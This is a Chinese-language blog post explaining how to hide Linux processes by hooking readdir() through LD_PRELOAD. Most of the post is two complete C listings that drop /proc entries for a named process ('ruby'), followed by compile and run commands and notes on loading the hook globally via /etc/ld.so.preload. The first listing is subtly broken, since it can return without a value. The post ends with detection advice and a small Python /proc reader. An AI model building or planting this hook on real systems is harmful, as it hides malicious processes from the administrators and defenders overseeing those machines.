Linux 通过LD_PRELOAD实现进程隐藏

  1. LD_PRELOAD介绍
  2. 实验过程
  3. /etc/ld.so.preload测试的问题
  4. 参考链接

LD_PRELOAD介绍

好问题!实际上,/etc/ld.so.preload在某种程度上取代了LD_PRELOAD。
由于安全问题,LD_PRELOAD受到严格限制:它不能执行任意setuid二进制文件,因为如果可以,您可以用您自己的恶意代码替换库例程,例如参见此处的一个很好的讨论。事实上,你可以在ld.so’user manual 中阅读:

LD_PRELOAD 要在所有其他库之前加载的附加、用户指定的 ELF 共享库列表。列表的项目可以用空格或冒号分隔。这可用于选择性地覆盖其他共享库中的函数。使用描述下给出的规则搜索库。对于 set-user-ID/set-group-ID ELF 二进制文件,包含斜杠的预加载路径名将被忽略,并且只有在库文件上启用了 set-user-ID 权限位时才会加载标准搜索目录中的库。
相反,文件/etc/ld.so.preload没有这样的限制,这个想法是,如果你可以读/写目录/etc,你已经拥有 root 凭据。因此它的使用。请记住,您可以使用/etc/ld.so.preload即使您一开始似乎没有:它只是glibc 的一个特性,因此是所有 Linux 发行版的一个特性(但不是,最好的我对 Unix 风格的了解),因此您可以创建它并将任何Linux 发行版中的任何setuid 库的名称放入其中,它就会起作用。

实验过程


(也不知道这两个函数怎么知道是系统调用抽出来的)

ps命令获取进程过程:

* openat打开/proc/<pid>/<file>
* read读取
* write输出

通过执行strace -f ps -elf 2>&1即可得出结论

上面那个github的原理就是hook了readdir。github上面那个通过利用循环里的continue跳过匹配的进程返回,但是会造成bug,稍微修改了一下,最终结果如下

#define _GNU_SOURCE
#include <dirent.h>
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
#include <unistd.h>


static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
    int fd = dirfd(dirp); //获取目录流文件描述符
    if(fd == -1) {
        return 0;
    }


    char tmp[64];
    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd); //拼接路径得到目录流文件路径
    ssize_t ret = readlink(tmp, buf, size); //读取符号链接的值 (读取链接的目录)
    if(ret == -1) {
        return 0;
    }


    buf[ret] = 0;
    return 1;
}


static int get_process_name(char* pid, char* buf)
{
    if(strspn(pid, "0123456789") != strlen(pid)) { //枚举出PID目录
        return 0;
    }


    char tmp[256];
    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid); //拼接得到/porc/<pid>/stat文件路径


    FILE* f = fopen(tmp, "r");
    if(f == NULL) {
        return 0;
    }


    if(fgets(tmp, sizeof(tmp), f) == NULL) {
        fclose(f);
        return 0;
    }


    fclose(f);


    int unused;
    sscanf(tmp, "%d (%[^)]s", &unused, buf); //读取完/porc/<pid>/stat文件内容匹配出进程名称
    return 1;
}



static struct dirent* (*original_readdir)(DIR*) = NULL; //构造readdir函数原型 https://linux.die.net/man/3/readdir


static const char* process_to_filter = "ruby"; //需要被隐藏的进程名称
struct dirent *readdir(DIR *dirp){
        if(original_readdir == NULL) {
                original_readdir = dlsym(RTLD_NEXT, "readdir"); //通过dlsym来获取readdir函数地址
                if(original_readdir==NULL){
                        printf("readdir Address Get Failure,Error Code:%d\n",dlerror());
                }
        }
        struct dirent* dp;
        dp=original_readdir(dirp); //通过调用readdir函数读取目录
        char dirname[256];
        char processname[256];
        get_dir_name(dirp,dirname,sizeof(dirname)); //获取当前所在目录
        if(strcmp(dirname,"/proc")==0){ //目录文件等于/proc
                get_process_name(dp->d_name,processname);  //由于目录文件是/proc,那么文件名(d_name)肯定是pid,所以获取要打开的文件名
                if(strcmp(processname,process_to_filter)==0){ //当进程名称符合要屏蔽的进程名不返回
                }else{
                        return dp;
                }
        }
}

while循环continue屏蔽

#define _GNU_SOURCE
#include <dirent.h>
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
#include <unistd.h>


static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
    int fd = dirfd(dirp);
    if(fd == -1) {
        return 0;
    }


    char tmp[64];
    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
    ssize_t ret = readlink(tmp, buf, size);
    if(ret == -1) {
        return 0;
    }


    buf[ret] = 0;
    return 1;
}


static int get_process_name(char* pid, char* buf)
{
    if(strspn(pid, "0123456789") != strlen(pid)) {
        return 0;
    }


    char tmp[256];
    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);


    FILE* f = fopen(tmp, "r");
    if(f == NULL) {
        return 0;
    }


    if(fgets(tmp, sizeof(tmp), f) == NULL) {
        fclose(f);
        return 0;
    }


    fclose(f);


    int unused;
    sscanf(tmp, "%d (%[^)]s", &unused, buf);
    return 1;
}




#define DECLARE_READDIR(dirent, readdir)
static struct dirent* (*original_readdir)(DIR*) = NULL;


static const char* process_to_filter = "ruby";
struct dirent *readdir(DIR *dirp){
        if(original_readdir == NULL) {
                original_readdir = dlsym(RTLD_NEXT, "readdir");
                if(original_readdir==NULL){
                        printf("readdir Address Get Failure,Error Code:%d\n",dlerror());
                }
        }
        struct dirent* dp;
        while(1){
                dp=original_readdir(dirp);
                char dirname[256];
                char processname[256];
                get_dir_name(dirp,dirname,sizeof(dirname));
                if(strcmp(dirname,"/proc")==0){
                        get_process_name(dp->d_name,processname);
                        if(strcmp(processname,process_to_filter)==0){
                                continue;
                        }
                }
                break;
        }
        return dp;
}

静态编译:
gcc -shared -fpic example.c -o example.so
LD_PRELOAD=/home/kali/Desktop/example.so /usr/bin/ps -elf #指定程序使用

从这些code里面可以明白写LD HOOK的时候,需准备以下操作:

* 被HOOK的目标函数是否通过libc抽象出来调用的,比如说getuid这种就不是。C原生的,非C原生的都要HOOK C原生函数
* 实例化被HOOK函数原型
* 通过dlsym寻找被HOOK原函数的地址,赋予定义的函数原型变量
* 调用原函数获取内容,判断后是否要return

PS:最好还是用while continue屏蔽

/etc/ld.so.preload测试的问题

使用了/etc/ld.so.preload (最好不要用,由于是全局使用容易出现大规模的问题) -> 匹配到不是进程名称的就return返回


(测试遇到这个问题先删除so,在删除/etc/ld.so.preload)

while循环continue虽然可以避免这个问题,但是执行ps的时候会出现bug

防止这种操作蒙蔽双眼:
I、检查LD_PRELOAD环境变量是否有异常
II、检查ld.so.preload 等配置文件是否有异常
III、自己写个python小工具,直接读取/proc中的内容,对于ps等工具的结果,对不上,则存在被劫持可能
IV、使用sysdig(有开源版,可以监控ps等的调用过程,观察是否有恶意动态库被加载。strace有类似功能)或者prochunter(google 上search)
sysdig proc.name=ps or strace -f ps -elf 2>&1

遍历/poc目录,获取进程PID。读取/proc//stat文件 -> 读取/proc//cmdline得到要执行的命令行参数

import os
def getprocess():
    path=os.listdir("/proc")
    for p in path:
        tmplen=0
        for n in range(0,10):
            for c in p:
                if c==str(n):
                    tmplen+=1
        if len(p)==tmplen:
            print("------PID:{}-----".format(p))
            print(open("/proc/{}/stat".format(p),"r").read())
            print(open("/proc/{}/cmdline".format(p),"r").read())

getprocess()

参考链接

https://linux.die.net/man/3/readdir
https://pubs.opengroup.org/onlinepubs/007904875/functions/readdir_r.html
https://techoverflow.net/2019/06/20/how-to-fix-c-error-rtld_next-undeclared/
https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/
https://github.com/gianlucaborello/libprocesshider
现成工具:https://github.com/gianlucaborello/libprocesshider
原理文章:https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:Linux 通过LD_PRELOAD实现进程隐藏

本文作者:九世

发布时间:2021-07-26, 17:20:12

最后更新:2021-07-26, 18:13:28

原始链接:http://jiushill.github.io/posts/906527f2.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录